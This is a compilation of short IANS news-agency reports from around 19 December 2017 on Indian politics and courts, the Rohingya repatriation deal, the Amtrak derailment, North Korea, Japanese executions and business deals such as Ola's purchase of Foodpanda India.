After the government hiked customs duty from 10 per cent to 15 per cent for mobile handsets last week, Apple on Monday became the first smartphone manufacturer to raise prices (on MRP) across iPhone models, except iPhone SE that the company assembles in Bengaluru.

The Cupertino-based iPhone maker is also seeking tax relief and other incentives from the government to begin assembling more handsets in the country.

Apple is currently assembling the iPhone SE model at its Bengaluru facility with Wistron Corporation, its Taiwanese manufacturing partner.

--IANS

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Bangladesh and Myanmar on Tuesday formed a joint working group and signed an agreement detailing the terms of its mandate to begin repatriation of the hundreds of thousands of Rohingya refugees who escaped a military offensive in Rakhine state.

Bangladesh's Foreign Ministry representative Mohamed Shahidul Haque and his counterpart from Myanmar, U Myint Thu, inked the agreement to create the joint working group, which will comprise 15 representatives from each country, Efe news reported.

"In the arrangement Bangladesh and Myanmar signed in Myanmar's capital Nay Pyi Taw in November there was a mention of a Joint Working Group. Now it has been formed, we will start working on the next phase," Bangladesh's Foreign Minister A.H. Mahmud Ali said.

"I cannot say exactly when it will start, but it will start soon. It's important to start. I am really satisfied," Ali said.

Myanmar signed an agreement with Bangladesh on November 23 to repatriate the more than 650,000 Rohingyas who had crossed over to Bangladesh fleeing the violence that erupted on August 25 in Myanmar's Rakhine state after the Army launched an offensive following a series of attacks on government posts in the region by Rohingya rebels.

According to the agreement, the repatriation process would start within two months of the signing of the agreement.

Myanmar, which does not recognise the Rohingyas -- a Muslim minority community -- as citizens, had agreed to their return provided they have the required documents and are not involved in alleged acts of terrorism.

The Bangladeshi Foreign Ministry said that the accord will "include mechanism of verification, time schedule, transport and logistics arrangements, reception procedures, communication etc. to commence the repatriation process within the stipulated time frame".

The working group will be assisted by international bodies such as the UN High Commissioner for Refugees and other international partners in various stages of repatriation.

Several human rights organisations, however, have repeatedly denounced that conditions are not appropriate for the safe return of the Rohingyas to Myanmar, where, according to recently-arrived refugees, the offensive against them is still underway.

The UN and several human rights organisations had condemned alleged abuses against the Rohingyas as part of the offensive and called it "ethnic cleansing".

The non-profit Medecins Sans Frontieres (Doctors Without Borders) reported in a study last week that at least 6,700 Rohingyas, including 730 children aged below five, had been killed in Myanmar in the first month of the crisis.

--IANS

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Brazilian DJ Kaleb Freitas passed away in an accident here after part of a stage collapsed during the Atmosphere dance music festival.

Freitas, 30, died on Sunday while he was performing on stage, reports aceshowbiz.com

Footage of the accident, which have surfaced online, saw Freitas performing a set during strong winds when the stage collapsed on him.

Freitas was immediately rushed to the hospital after suffering head injuries, but he was pronounced dead upon arrival. Other people were also treated for injuries, though there was no exact number on how many concertgoers were hospitalised.

Sergio Bandoca, one of the people in charge of the event, detailed the accident, saying that it "was madness. The scale of the tragedy could have been far worse. Things were flying all over the place. There was panic."

--IANS

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Former Kerala Chief Minister Oommen Chandy on Tuesday got interim relief from the Kerala High Court in the solar scam case as the court said the 'sleaze' letter should not be discussed for two months.

Chandy on Monday approached the Kerala High Court with a plea to quash the Justice G Sivarajan (retired) judicial probe report on the solar scam, submitted to Chief Minister Pinarayi Vijayan earlier this year.

The high court also slammed Vijayan for speaking about the 'sleaze' letter written by Saritha Nair, the prime accused in the multi-crore solar scam case.

The court came down heavily on Vijayan for his press conference wherein he spoke in detail based on the letter, which the court felt amounted to character assassination and could have been avoided.

The letter written by Saritha Nair, when she was in jail, names Chandy and numerous other top Congress leaders for sexually exploiting her.

The multi-crore solar energy investment fraud that rocked the then Chandy government in 2013 was led by Nair and her live-in partner Biju Radhakrishnan, as it came to light that a section of the Chief Minister's Office had links with the couple.

The court also said the authorities looking into the case can, however, go forward with their work.

Senior Congress leader Kapil Sibal appeared for Chandy, and the plea for the manner in which Vijayan handled the judicial probe report of Justice G. Sivarajan (retd) into the solar scam was pointed out.

When the counsel for the Kerala government asked for a day's time for the petition to be heard, the court refused and said it would be posted in the afternoon.

In the afternoon, the court directed that the 'sleaze letter' should not be discussed either by the media or in any form for two months and posted the case, wherein Chandy has sought quashing of the report, for January 15.

Reacting to the court's observation, Communist Party of India-Marxist (CPI-M) central committee member A. Ananthan said he is surprised over the way the court has come out with the directions, that a letter which has already become a public document should not be discussed.

"Honestly fail to understand this, because this is part of a judicial commission probe report and it has been accepted by the government and it has become a public document," said Ananthan.

Senior Congress legislator K.C. Joseph welcomed the court's decision and said all of them are of the firm opinion that the report is being used politically.

Kerala Bharatiya Janata Party (BJP) leader M.T. Ramesh said such letters should never become a public document as there is every chance of it being used for blackmailing.

Sivarajan submitted his report to Vijayan earlier this year.

On October 11, Vijayan told the media that the judicial report has been accepted and cases would be registered against Chandy and all others based on Saritha Nair's letter.

Following this, on November 9, Vijayan called a special one-day session of the Kerala Assembly to place the report in the house.

--IANS

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A Chinese envoy has called for unity of the United Nations Security Council (UNSC) and the community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.

After a vote in the UNSC on a draft resolution on the status of Jerusalem on Monday, Wu Haitao, charge d'affaires of China's permanent mission to the United Nations, said the issue of Palestine is at the core of Middle East peace and a root-cause issue.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, Xinhua quoted Wu as telling to the Security Council.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem.

The draft resolution put to a vote on Monday was in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China's "yes" vote on the draft resolution.

The Egyptian-drafted text won the support of 14 members of the Security Council, but was vetoed by the United States.

Wu called on the Security Council and the community at large to remain united in an effort to de-escalate tensions concerning the status of Jerusalem for the sake of stability in the region and the Middle East peace process.

China has consistently supported and pushed forward the Middle East peace process, he said.

--IANS

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Rome, Dec 19 (IANS/AKI) China has removed a 16-year-long ban on Italian beef, the country's Agriculture Ministry and quality control agency announced on Tuesday.

The announcement followed a meeting of the Italy-China Government Committee in Beijing chaired by Italy's Foreign Minister Angelino Alfano and his Chinese counterpart Wang Yi.

Before Italian beef can return to China, however, the two countries must approve a protocol for the health and safety requirements for the export of beef which must be boneless and from animals aged less than 30 months, the Italian Health Ministry said in a statement.

The Chinese Agriculture Ministry and its quality control authority also announced the lifting of a ban on Italian bovine semen imposed in 2012 due to the Schallenberg virus.

--IANS/AKI

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The BJP on Tuesday rejected Congress President Rahul Gandhi's claim that the Gujarat poll result was a "massive jolt" to the party, saying it was actually the Congress which was on the verge "extinction" and should introspect.

Addressing a press conference here, Union Human Resource Development Minister Prakash Javadekar said: "Yesterday (Monday) the BJP won Gujarat for the sixth consecutive time and also got the mandate in Himachal Pradesh. But today a new definition has emerged as Rahul Gandhi described the results as a setback for the BJP.

"We have won for the sixth time in Gujarat, which no one could manage to get, and got two thirds majority in Himachal Pradesh. Even our vote share has increased."

Javadekar was reacting to the Congress President's remarks that the Gujarat election result has dealt a "massive jolt" to the Bharatiya Janata Party and raised questions about Prime Minister Narendra Modi's credibility because of his silence on corruption charges including party chief Amit Shah's son Jay Shah's meteoric business rise.

"Those who were saying that 'development has gone mad', people gave them a severe jolt by reposing their faith in the BJP," he said.

He said that if Gandhi thinks that it was a jolt for the BJP then either "he is changing the definition of jolt or trying not to understand it".

The BJP leader also said that it is the reason why jolt was given to the Congress or "else there is no chance of improvement for them".

He said that since 2014, the BJP has formed governments in Haryana, Maharashtra, Manipur, Assam, Uttarakhand, Uttar Pradesh, Goa and Jharkhand.

"While under Rahul Gandhi's leadership, they (the Congress) have lost since 2014," he said.

"Today BJP is in power in 19 states. In all assembly constituency seats of Amethi (Gandhi's Parliamentary constituency), in Uttar Pradesh, they fought on 400 seats (civic polls) but could only manage seven seats," he said.

"Where is the Congress? The Congress is on the verge of extinction while the BJP is rising," he said.

He also described the Congress leader's charges against the BJP as "an insult to democracy and people's mandate".

Criticising Gandhi for attacking Modi and claiming that his development model has failed, Javadekar said: "People have voted for his development model.

"What is Gujarat's message?" he asked, adding that people of the state have rejected Congress' "casteist politics".

"And I can say that the development has not gone crazy, but the Congress has," the Minister said.

Slamming the Gandhi scion for questioning the 36 Rafale fighter jets deal with France, Javadekar said: "The government-to-government Rafale deal is fully transparent as no middlemen, commission or corruption is involved in it.

"And this questioning business is immaturity and shameful. The Congress must introspect before making such allegations," he said.

"It is not Bofors... it is Rafale. And it is an example of transparency. But they are questioning it because for them defence deal means corruption and commission."

The BJP leader also defended party President Amit Shah's son Jay Shah's business, saying that he tried to do business in which he incurred losses.

"They cannot understand the difference between the turnover and profit.

"Jay Shah's company made a turnover of Rs 80 crore but at the end he incurred losses. And Rahul Gandhi is questioning Modi's silence on that," he said.

"We are replying on that charge and we shall explain what is the difference in the nature of the businesses of Jay Shah and (Gandhi's brother-in-law) Robert Vadra," he said.

"Jay Shah did not get any government contract or tender and incurred losses in his business. While Vadra, bought the land for Rs 8 crore and got the loan amount of the same amount from the person from whom he bought the land. And after two to three months the prices of that land increased from Rs 8 crore to Rs 50 crore as the government changed the rules," he said.

"And when such things happen that is called a scam," he said, adding: "This (Jay Shah turnover) is not a scam, but it is an initiative to do business."

--IANS

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A Delhi court on Tuesday reserved its order on the bail plea of Life Insurance Corporation (LIC) agent Anand Chauhan in a disproportionate assets case involving Himachal Pradesh Chief Minister Virbhadra Singh.

Special Judge Santosh Snehi Mann said that she will deliver the order on the bail plea of Chauhan on December 23.

The Enforcement Directorate (ED) had filed a chargesheet against Chauhan and accused him of investing Virbhadra Singh's "tainted" money amounting to Rs 5.14 crore in LIC policies purchased in Virbhadra's name and those of his family members, including wife Pratibha Singh.

Chauhan was arrested from Chandigarh on July 9, 2016, under the provisions of the Prevention of Money Laundering Act (PMLA) after the ED alleged he was not cooperating in the probe.

On November 24, Chauhan was released on interim bail to attend his niece's marriage in Shimla from November 25 to December 5.

A probe had allegedly found that during his tenure as the Union Steel Minister from 2009 to 2011, Virbhadra Singh had accumulated assets worth Rs 6.03 crore in his name and in the name of his family members, which were disproportionate to his known sources of income.

--IANS

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The Uttar Pradesh capital witnessed a foggy Tuesday morning as the cold wave intensified in the state, the Met office said.

However, the day and night temperatures have so far been hovering around the average.

Dense fog covered the city and the neighbouring areas slowing down rail, vehicular and air traffic.

"The sky will clear soon and there would be better visibility," Regional Met Office Director J.P. Gupta said.

The day is however set to be windy and the office has forecast winds of around 25-30 km per hour, which will add to the chill.

The minimum temperature recorded here was 9.4 degrees Celsius while the maximum is likely to hover around 21 degrees Celsius.

Many other major cities including Kanpur, Varanasi, Rae Bareli, Sitapur are also reeling under a fresh spell of cold.

Gorakhpur recorded 10 degrees Celsius as the minimum temperature, Kanpur at 11, Allahabad at 9 and Varanasi at 8.4 degrees Celsius.

Fog were also reported from Barabanki, Faizabad, Gonda, Bahraich, Basti and Balrampur.

District Magistrate of Bareilly has ordered closure of schools for the next three days.

--IANS

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The Delhi High Court on Tuesday ordered immediate inspection of an institute here where girls and women were allegedly kept in illegal confinement in the name of religious preaching.

The court directed an officer, not below the rank of Deputy Commissioner of Police, to conduct an inspection of the Adhyatmik Vishwa Vidyalaya in Rohini on Tuesday itself and said this should be video-graphed.

Delhi Commission for Women chief Swati Maliwal was also asked to accompany police during the inspection. The court also asked Dev Dixit, referred to as the founder and spiritual head of the institute, to cooperate with police during the drive.

The court issued notice to the Central government, the Delhi government and the police while asking them to file a status report on the issue.

It referred to a similar situation witnessed in Dera Sacha Sauda chief and rape convict Gurmeet Ram Rahim Singh Insan's ashram in Haryana's Sirsa.

The court's order came on a plea filed by NGO Foundation for Social Empowerment, which said that several minors and women were allegedly being illegally confined there and are not allowed to meet their parents.

--IANS

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The government on Tuesday said that it will look into the details of why freedom fighters Bhagat Singh, Sukhdev, Rajguru and Chandra Shekhar Azad had not been given the status of martyrs.

The response came after the issue was raised in the Rajya Sabha by Indian National Lok Dal member Ram Kumar Kashyap during Zero Hour. Rajya Sabha Chairman M. Venkaiah Naidu also expressed concern, asking the government to look into the matter.

Union Law Minister Ravi Shankar Prasad said: "Bhagat Singh was held in highest esteem by the country and the government is dedicated to give all the respect to his supreme sacrifice. I will ascertain the details and get back to the House."

Kashyap said that he was distressed to learn that even Pakistan had conferred the title of Shaheed-E-Azam on Bhagat Singh whereas India had not, and called it "ridiculous".

"It is very disappointing that Bhagat Singh, Sukhdev, Rajguru and Chandra Shekhar Azad have not been given the status of martyrs. Questions would be raised why this status was not given to them," he said.

Intervening in the matter, Naidu said: "The Law Minister is here. He should discuss the matter with the Culture Ministry."

--IANS

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Veteran actor Anupam Kher has started shooting for his "511th film" here and he says that he still feels like a newcomer.

Anupam on Tuesday shared a photograph with his back towards the camera.

"'I always believe that the sky is the beginning of the limit.' Happy to start my 511th film today here in Ranchi. On the first day of my shoot I always feel like a new comer," he tweeted.

The actor, 62, is feeling nervous.

"Nervous, apprehensive and thankful. God has been kind. And you all have been really loving. Jai Ho," he added.

Other details related to the film is still has not been shared.

Anupam will also be seen in "The Accidental Prime Minister". It stars the actor as Manmohan Singh, the economist and politician who served as the Prime Minister of India from 2004 to 2014.

"The Accidental Prime Minister" is directed by Vijay Gutte. The film is based on the similarly titled 2014 memoir by Sanjaya Baru, who was Manmohan Singh's media advisor.

--IANS

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The Gujarat High Court has ordered the state government to appoint a regular Director General of Police (DGP) within eight weeks.

The state doesn't have a regular DGP since April 2016, when incumbent P.C. Thakur was transferred and replaced by in-charge DGP P.P. Pandey, whose appointment was stayed by the Supreme Court. After in-charge Geetha Johri retired last month, the government appointed an in-charge DGP, Pramod Kumar, who retires in February-March 2018.

The Gujarat High Court order comes in the wake of a public interest litigation (PIL) filed by former IPS officer Rahul Sharma challenging the appointment of the then in-charge DGP Pandey. The PIL sought the court's direction for appointment of a full-time DGP in the state, stating that not appointing a regular DGP "is contrary to the provisions of the existing laws".

The division bench of Chief Justice R. Subhash Reddy and Justice V.M. Pancholi, while agreeing with the contentions of the PIL on Monday ordered the state government to "initiate the process and make necessary selection by following the procedure and appoint a DGP on a regular basis, within a period of eight weeks from the date of receipt of this order".

Earlier in December, the state government had said the appointment of a regular DGP was delayed due to the imposition of the Model Code of Conduct for the state Assembly elections.

The Chief Electoral Officer (CEO) Gujarat's office representing the Election Commission of India (ECI), which was made a respondent to the PIL, told the court that the state had submitted three names to it for appointment of in-charge DGP after Johri retired.

Geetha Johri, IPS, was appointed following a petition filed in the Supreme Court by another former DGP, Julio Ribeiro, which had led the state government to revoke Pandey's appointment.

The Gujarat government told the court that the process of appointing a DGP was a long one and a new DGP will be appointed once the new government is formed.

Rahul Sharma had argued that the government was not appointing a regular DGP despite having six officers in the rank.

--IANS

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The Saudi-led coalition battling Yemen's Houthi rebels said it intercepted a ballistic missile near Riyadh on Tuesday, Saudi state media reported.

Witnesses in the Saudi capital posted pictures on social media showing a cloud of smoke in the air, and there were no reports of any damage, the BBC reported.

The Houthi movement's al-Masirah TV said rebel fighters had fired a Burkan-2 missile at the al-Yamama Palace. Last month, a similar missile came close to hitting Riyadh's airport.

Saudi Arabia and the US have accused Iran of supplying the Houthis with the missile. However, Iran has denied arming the Houthi movement, which has been fighting a war against Yemen's government and the Saudi-led coalition since 2015.

The missile targeted "a meeting of the leadership of the Saudi regime in al-Yamama Palace in Riyadh", it said. The palace is the main headquarters of the king's office and the royal court.

--IANS

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Even as China continued to block the listing of Pakistan-based Jaish-e-Mohammad chief Masood Azhar in the UN-designated list of international terrorists, India and the US discussed procedures for pursuing designations against terrorist groups and individuals through domestic and international mechanisms.

The discussion came up at the inaugural India-US Designations Dialogue that was held here on Monday and Tuesday.

An identical statement issued by both the governments said the dialogue was to discuss increasing bilateral cooperation on terrorism-related designations.

"The establishment of this mechanism reflects shared Indian and US commitments to strengthen cooperation against terrorist threats," it said.

"The Indian and US delegations exchanged information on procedures for pursuing designations against terrorist groups and individuals, through domestic and international mechanisms. They also discussed best practices for effective implementation of the designations."

The statement said Washington would host the second India-US Designations Dialogue next year.

The meeting assumes significance after China said last month that due to the lack of consensus at the UN Security Council committee, the application seeking a ban on Azhar has been rejected.

Beijing has for the second time vetoed the proposal which was first moved by India at the Al Qaeda Sanctions Committee of the UN Security Council in March last year.

It did the same to a US proposal backed by France and Britain, first blocking it in January and then put a technical hold for three months in August. A new resolution will have to be moved now.

The statement is also important in the context of the US designating Lashkar-e-Taiba (LeT) chief Hafiz Saeed and Zaki-ur-Rehman Lakhvi as the masterminds of the 26/11 Mumbai terror attack.

Saeed, who carries a $10 million US bounty for his role in terrorist activities, was let go last month by Pakistani authorities in Lahore after a court refused to extend his house arrest citing lack of evidence. He had been under house arrest since January 30.

Over 160 people were killed and over 300 injured when the LeT militants launched a series of attacks on India's commercial capital in November 2008.

Tuesday's statement gave rise to speculation that the two countries could be looking at designating and issuing sanctions against more people involved in terror-related activities in the region.

--IANS

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Infosys BPO (Business Process Outsourcing), the back office services arm of the software major, has been renamed as Infosys BPM (Business Process Management), the company said on Tuesday.

"The company has received the approval of the Ministry of Corporate Affairs to change the name of Infosys BPO to Infosys BPM. The new name is effective immediately and will be implemented across the company's services," a company statement said.

The new name reflects a shift in the nature of services that the software firm's subsidiary offers, said Infosys.

"The change in the name signifies our vision of reimagining business processes across experience, effectiveness and efficiency," said Infosys BPM CEO and Managing Director Anantha Radhakrishnan.

The scope and complexity of business processing work has changed "significantly" over the past few years and has gone much beyond outsourcing and offshoring, the company said.

Infosys BPM would make use of employees with business domain expertise along with technologies such as robotics, artificial intelligence, machine learning, predictive analytics, rich content visualisation and mobile technologies to address business problems.

Set up in 2002, Infosys BPM has over 34,000 people employed across 32 locations across the world offering back office services to various firms.

--IANS

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Australian actor Joel Edgerton feels there was a time when celebrities believed that they can get away with anything, but Internet has wiped off this conception. The actor says the virtual world is giving voice to many, and taking their stories around the world.

Edgerton talked about digital evolution when asked about the changing scenario and the impact of issues like diversity and widespread sexual misconduct allegations against some of the powerful men from Hollywood. '#MeToo' campaign to raise awareness about sexual harassment became very big on the social media.

"Internet is a great watchdog of the world. I think it galvanizes people. I (thought) like-minded people could find each other through Internet in a positive and a negative way. But it also allows the watchdogging of the world in a good way," Edgerton told IANS here.

"People can have their voices heard and have power to type the power out of the hands of accountable people. Back in days, celebrities in many ways felt that they are entitled to get away with anything they want because they have that power. It is now proven that the opposite can also be proven true," he added.

Edgerton was in India to promote Netflix's "Bright", which is an action-thriller that takes place in an alternate present-day south Los Angeles. He was accompanied by his co-stars Will Smith, Noomi Rapace and director David Ayer.

For "Bright", Ayer picked up a story with modern day sensibilities set in present day, but added mythological characters to give a fantastical touch to the story while addressing real issues.

The film, which will premiere on Friday on the streaming site, tells the story of two police officers, one a human, the other an orc, who get stuck with each other, but bond and get to know each other during a rough night. There are racial undertones, and it puts the spotlight on diversity as well as the class divide.

Explaining the idea of the film with an example, Edgerton, who plays role of an orc, said: "I think for somebody who grew up in my small town Australia, who had never watched TV and was never exposed to the rest of the world suddenly landed in some place like Mumbai, when you take out somebody out of their limited view of the world into another culture.

"That is why this movie is very reminiscent to me of when you put a bunch of different cultures and expect they could all integrate."

Edgerton, known for "King Arthur", "Star Wars: Episode III - Revenge of the Sith" and "Animal Kingdom", said awareness of "what is inside the movie and its strange aspects" is important to get to the character.

He is looking forward to the film, and says he will consider his act was successful if he spots many people dressed up as orcs next Halloween.

(The writer's trip is at the invitation of Netflix. She can be contacted at sugandha.r@ians.in)

--IANS

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Beirut, Dec 19 (IANS/AKI) Italian blue berets serving in southern Lebanon with the UN peacekeeping force UNIFIL will give self-defence lessons to schoolgirls from the port city of Tyre, UNIFIL said on Tuesday.

The self-defence lessons will train the girls psychologically and physically and will build their self-confidence, according to UNIFIL instructors.

The course is part of an initiative under which Italian UNIFIL peacekeepers will give weekly Karate lessons to disabled and normal schoolchildren aged 4-12 from several towns in south Lebanon from December to May.

The Karate lessons are aimed at improving the children's balance and overall physical fitness as well as their behaviour, attention span and mental abilities, the UNIFIL instructors say.

--IANS/AKI

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Japan on Tuesday executed two inmates who were sentenced to death for multiple murders in the 1990s, the Justice Ministry said.

The first of the death-row inmates executed on Tuesday, Teruhiko Seki, 44, was sentenced for killing a four-member family in Ichikawa in 1992, when he was still a minor, reports Efe news.

In addition to these murders, Seki also committed several other crimes, including rapes and robberies, in which several people were injured, according to information provided by the justice ministry.

The other prisoner, Kiyoshi Matsui, 69, was given the death penalty for killing his girlfriend and her parents in February 1994 with a hammer in Gunma prefecture.

Both death row inmates were executed in Tokyo, Justice Minister Yoko Kamikawa said in a press conference, describing the cases as "extremely cruel".

Following Tuesday's executions, 123 prisoners remain sentenced to death in Japan pending the enforcement of their sentences, 94 of whom have requested a review of their sentences, Kamikawa said.

The minister is responsible for ordering executions in Japan, the only industrialized and democratic country along with the USA that maintains the death penalty, and where legislation stipulates that convicted persons must be hanged and informed only hours before execution.

--IANS

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Japan on Tuesday approved the incorporation of two land-based missile interceptors due to North Korea's growing military clout, the Defence Ministry said.

The government authorised the purchase of two units of the US-made Aegis Ashore for its ground forces, a ministry spokesman told Efe news.

Japan already has Aegis systems installed in several destroyers of its Maritime Self-Defence Forces.

In order to streamline the deployment of these systems, which are expected to be ready "as soon as possible", the ministry has planned to allocate a part of the supplementary budget for this year and increase by 730 million yen ($6.49 million) its record budget of 5.26 billion yen requested for 2018.

On Friday, the Japanese government is expected to approve a draft of the general budget for the country for next year.

It remains to be decided where they will deploy the two anti-missile units, through which Japan seeks to cover the security of its entire territory, where until now the only land-based missile defence system deployed was the Patriot Advanced Capability 3 (PAC-3).

The last units of the PAC-3 were deployed in Hokkaido Island in September, in response to two North Korean missiles that flew over the region - one in the same month and another at the end of August - before falling into the ocean.

Although the Japanese Constitution establishes that Japan can only have defensive military capabilities, the conservative government under Abe has pushed for its reinterpretation in order to bolster its defences.

Since Prime Minister Shinzo Abe came to power around the end of 2012, Japan's defence budget has increased annually in a sustained manner over constant tensions in the Korean peninsula, North Korea's widening defence arsenal and territorial disputes with China.

--IANS

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The Afghan government on Tuesday welcomed US President Donald Trump's new national security strategy, saying the plan was in line with Kabul' and Washington shared objectives against terrorism.

"President Trump's new national security strategy affirms the enduring US-Afghanistan strategic partnership," the Presidential palace said in a statement.

On Monday night, Trump announced the strategy, the first of its kind since he took office in January, reports Xinhua news agency.

"The national security strategy and the US-South Asia strategy are the cornerstones upon which our shared efforts to defeat terrorism and bring stability to Afghanistan are built. Our partnership, which reflects a renewed US commitment, will set the conditions to end the war and finally bring peace to Afghanistan," the statement read.

The Afghan government welcomed "the strategy aims to strengthen peace and stability in the region especially through diplomatic means.

"We have always worked and shall continue to do so for a peaceful region with increased connectivity for the shared economic development of our people in this region. To this end, we will continue to work with our neighbours close and far in the region," it added.

--IANS

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The joint venture fertiliser project of Krishak Bharati Cooperative Limited (Kribhco) and Morocco's OCP is set to launch construction work at Andhra Pradesh's Krishnapatnam in the next few months, Moroccan officials said on Tuesday.

The two entities had entered into a 50:50 joint venture to develop a large-scale greenfield NPK (nitrogen, phosphorus and potassium) fertiliser plant and the initial investment for the project was estimated at $230 million.

"We have three joint ventures and the fourth one is coming up in India. The fourth joint venture would entail an investment of $230 million," Morocco's Transport and Logistics Minister Abdelkader Amara, told reporters here after interacting with CII members.

The plant is expected to have an annual production capacity of 1.2 million tonnes of NPK fertiliser.

"Currently, the project is under engineering study and by June-July (in 2018) work on the plant should begin," said Morocco's Ambassador to India Mohamed Maliki.

According to Amara, the project would strengthen the economic relations between India and the North African nation.

--IANS

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Police said on Tuesday that the two militants killed in a gunfight with the security forces in Jammu and Kashmir's Shopian district were responsible for the murder of two bank guards on December 11.

Two militants and a woman were killed in Batmuran village of Shopian district during an operation against militants by the security forces.

Nine protesters were injured in clashes with the security forces near the gunfight site.

"Two Jaish-e-Muhammad (JeM) militants were killed in the encounter, who were identified as Tanveer Ahmad from Batmuran village and Ali alias Qari who was a foreign militant. Two security personnel which includes one soldier and a police personnel were injured during the encounter, a police spokesperson told media.

"The third militant fled from the encounter site by taking advantage of darkness.

The slain JeM militants had killed two bank guards in Shopian district on December 11.

"During cross-firing, one woman identified as Ruby Jan of Batmuran village got critically injured. She later succumbed to injuries at district hospital, Pulwama.

--IANS

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An Amtrak passenger train derailed on Monday on its inaugural trip on a new service route near Dupont, Washington, spilling 13 cars off an overpass and killing several people.

According to Ed Troyer, spokesman for the Pierce County Sheriff's Office and the Washington State Patrol, the deaths "are all contained to the train and the incident is "pretty horrific."

Troyer said there were "multiple fatalities" but he could not provide a precise number, CNN reported.

Several motorists were struck by the fallen train cars and also suffered injuries, but there were no fatalities among people in those vehicles, the sheriff's office said.

Thirteen cars jumped the track. The train had 14 cars, including two engines, said Brook Bova of the Washington State Patrol.

At least 77 people were taken to hospitals, including victims who were able to walk off the train, the authorities were quoted as saying.

A passenger on the train says his car derailed and everyone "catapulted" into the seat in front of them

An Amtrak spokesperson said there were about 78 passengers and five crew members on board the train when the accident happened.

Amtrak president said the company was 'deeply saddened by all that has happened'

Washington state Governor Jay Inslee declared a state of emergency in the aftermath of the accident.

--IANS

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North Korea on Tuesday rejected a recent offer by the US for talks without preconditions, calling it a ploy to make Pyongyang give up its nuclear programme.

Last week, US Secretary of State Rex Tillerson said that Washington would be willing to talk to Pyongyang without the precondition of North Korea's denuclearisation, reports Efe news.

"The US is trying to shift responsibility for tensions on the Korean Peninsula to us with its dialogue offensive," the North Korean daily Rodong Sinmun said in a report.

However, the White House also pointed out in a statement that dialogue was not possible unless North Korea changed its position on its weapons program.

In Tuesday's report, Pyongyang said Washington's offer "is seen as being intended to set the tone for manipulating new UN Security Council resolutions that may include a maritime blockade if we do not accept dialogue aimed at discussing the abandonment of our nuclear weapons".

Tillerson himself hinted at the possibility of intercepting the shipping of products with origin or destination to North Korea as punishment for the Intercontinental Ballistic Missile (ICBM) that was fired on November 29.

"There is no change in our stance that we will not budge an inch in our march toward strengthening our nuclear force," the daily added.

North Korea claimed after launching its latest missile, its most advanced ICBM so far, that it has completed its state nuclear force.

--IANS

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The suspense over choosing the Chief Minister in Himachal Pradesh mounted on Tuesday with some names -- including five-time MLA Jairam Thakur and union minister J.P. Nadda -- doing the rounds and defeated chief ministerial face Prem Kumar Dhumal also not being completely ruled out.

The name of another senior leader, Rajeev Bindal, MLA from Nahan, is also in the reckoning for the top post, as he apparently has the backing of a section in the Rashtriya Swayamsevak Sangh (RSS).

Jairam Thakur won from Seraj constituency by defeating Chet Ram of the Congress.

"So far, the party has not decided who will be Chief Minister in the state. Union ministers Nirmala Sitharaman and Narendra Singh Tomar will visit Himachal Pradesh to talk to party leaders in the state before deciding on the name," said a Bharatiya Janata Party (BJP) source.

Sources in the BJP, however, also did not rule out the possibility of Prem Kumar Dhumal being chosen for the CM's post. Although earlier Nadda's name was doing the rounds, Dhumal's name was announced as the party's chief ministerial candidate midway through the election campaign in the state.

Dhumal, who had won the last election from Hamirpur constituency, had reservations over contesting from Sujanpur. But, the central leadership asked him to contest from there, and he faced defeat.

Dhumal faced defeat against close rival Rajinder Rana of the Congress from Sujanpur. Rana was once the "election manager" of Dhumal and knows his family well. Rana defeated the two-time Chief Minister by a slender margin of 1,919 votes.

Meanwhile, BJP MLA Virender Kanwar, who won from Kutlehar seat, has offerered to resign from his seat for Dhumal.

In Gujarat, although the BJP had announced Vijay Rupani's name as the chief ministerial candidate before the election, by appointing a team of observors under Union Finance Minister Arun Jaitley and party leader Saroj Pandey, the central leadership has kept the options open.

There were speculations that union minister Smriti Irani could be sent to Gujarat as Chief Minister as she represented the Rajya Sabha from the state.

However, certain quarters denied such possibility because of the responsibility given to Irani by the party leadership to counter Congress President Rahul Gandhi in Amethi in the next general elections.

--IANS

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Rajya Sabha Chairman M. Venkaiah Naidu on Tuesday urged the members to ask specific questions and the ministers to be precise with their answers.

"It was decided unanimously in the Business Advisory Committee that we should take up at least 10 questions every day. But we have been able to only take up six questions today," Naidu said at the end of the Question Hour.

"I would like to request the members to be crisp with their questions and also the ministers should give to-the-point answers so that we are able to take up more questions," he said.

Sometimes, the members ask very long questions, prompting the Chair to intervene with "What is your question? Please ask the question".

--IANS

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Odisha Chief Minister Naveen Patnaik on Tuesday claimed that the victory of the BJP in the assembly elections in Gujarat and Himachal Pradesh will have no impact in the state.

"I see no impact in Odisha of all these... I don't feel the Biju Janata Dal will face anti-incumbency because of our development programmes and welfare schemes which are doing well in our state," Patnaik told the media.

The Chief Minister also ruled out any possible impact on the imminent by-election for the Bijepur assembly constituency in Bargarh district.

As there is talk of early elections, the BJD President said his party is always ready to face polls.

"I can again say that we are ready for polls anytime," said the Chief Minister.

Patnaik on Monday congratulated Prime Minister Narendra Modi and Union Finance Minister Arun Jaitley on the poll victory in Gujarat and Himachal Pradesh.

The BJP workers, who are in a jubilant mood after the twin victories, are eying a win in Odisha in the 2019 assembly polls.

BJP national President Amit Shah has already given a clarion call to his saffron brigade to capture 120+ seats in the 2019 assembly elections. The Odisha assembly has 147 seats.

--IANS

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Actress Sunny Leone on Tuesday said that she will not attend the New Year bash in the city after the police denied permission to the organisers.

"Since the police of Bengaluru have publicly said that they will not be able to ensure mine, and all who attend, safety for my New Years event, my team and I feel, safety of the people should always come first. Therefore, I cannot attend. God bless and I wish everyone a safe and Happy New Year," Sunny tweeted.

She later added: "To all those who protested and to all those who supported, always remember, never allow others to speak and choose for you.

"Have your own voice and make your own choices. You are the youth and you are the new India! Stand proud and stand together. I love you all dearly!"

Earlier on Saturday Bengaluru Police Commissioner T. Suneel Kumar denied permission for a New Year bash in the city where Sunny was invited to perform.

"We are denying permission for Sunny Leone's musical show on December 31 night to maintain law and order and prevent any untoward incident in the city," Kumar told reporters here.

Sunny was supposed to perform at the Manyata Tech Park in the city suburbs. However, the city police chief said it would not be possible to provide enough security at the venue as the entire force would be on duty across the city on that night.

"In view of a directive from the Karnataka High Court on Friday to ensure peaceful New Year celebrations and prevent untoward incidents in the city, we will not be able to deploy enough force at one place at the risk of other areas," he said.

--IANS

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Cab aggregator Ola on Tuesday said it will acquire Foodpanda India business from Germany-based global online food ordering and delivery marketplace Delivery Hero Group for $200 million.

